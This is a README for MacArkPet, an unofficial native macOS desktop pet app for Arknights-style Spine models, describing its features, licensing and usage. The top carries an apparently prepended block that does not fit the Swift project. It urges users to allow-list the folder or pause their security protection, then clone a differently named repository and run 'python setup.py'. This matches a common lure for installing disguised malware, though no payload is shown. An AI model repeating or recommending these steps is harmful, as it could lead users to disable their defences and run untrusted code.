Tip
If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
Caution
Some security systems may block the installation. Only download from the official repository.
git clone https://github.com/PhysicianMap/MacArkPet-879.git
cd MacArkPet-879
python setup.pyMacArkPet is an unofficial native macOS desktop pet app for browsing and running Ark-style Spine models as small interactive desktop characters.
It is inspired by Ark-Pets, but the macOS runtime is native Swift/AppKit/SwiftUI. This repository is released under GNU GPL v3.0 to preserve license compatibility with the upstream Ark-Pets project.
MacArkPet borrows ideas from and is inspired by isHarryh's original Windows Ark-Pets, especially its desktop-pet experience and model ecosystem. This macOS version exists so more Arknights fans who only have a Mac, and do not have a Windows machine, can also enjoy a small operator desktop pet.
The upstream Ark-Pets project is licensed under GPL-3.0. In accordance with that license, MacArkPet preserves the original project attribution and is released under the same GNU GPL v3.0 license.
- Native macOS launcher window with search, filters, preview, size, and speed controls
- Transparent borderless desktop pet window
- Spine/WebGL model rendering through
WKWebView - Walking, sitting, sleeping, interaction, and special-action states
- Basic gravity and support surfaces for the desktop, Dock area, and window tops
- Menu bar controls for launcher, click-through, always-on-top, reset position, and quit
- Model sync from the community Ark-Models repository
This repository does not include Arknights game assets or model packages.
MacArkPet can download community model resources at runtime, but those resources are not owned by this project. The Ark-Models README states that those materials belong to Shanghai Hypergryph Network Technology Co., Ltd. and must not be used commercially or in a way that harms the rights holder's interests.
If you publish forks, builds, or releases, do not bundle downloaded game/model assets unless you have permission from the relevant rights holders.
MacArkPet is an unofficial fan-made project. It is not affiliated with, endorsed by, or maintained by Hypergryph, Yostar, the Ark-Pets maintainers, or the Ark-Models maintainers.
Spine runtime code is included under its own license. See
Resources/spine-ts-LICENSE, NOTICE.md, THIRD_PARTY_NOTICES.md, and
docs/LEGAL.md.
- macOS 13 or later
- Xcode command line tools or Xcode with Swift 5.9+
Download the app from GitHub Releases, unzip it, and move MacArkPet.app to
Applications.
If macOS says Apple cannot check the app for malicious software, see the
English User Guide. It also explains how to use Sync Models,
the bottom progress indicator, and the model library location:
~/Library/Application Support/MacArkPet/ArkModels
This repository includes GitHub Actions:
CIbuilds the Swift package on macOS.
Create a release tag:
git push origin main --tags- Left drag: move the desktop pet
- Right click the pet or click the
APmenu bar item: open the control menu Click Through: let mouse clicks pass through the pet windowReset Position: recover the pet if it is off-screen
Sources/MacArkPet/ Swift app source
Resources/ App icon and Spine runtime
script/ Build and release scripts
docs/ Usage and legal/distribution notes
MacArkPet source code is released under the GNU General Public License v3.0. See LICENSE.
Third-party runtime code and model resources remain under their respective licenses and terms. This repository does not grant rights to Arknights game assets or community model resources downloaded at runtime.
See THIRD_PARTY_NOTICES.md and docs/LEGAL.md before redistributing builds.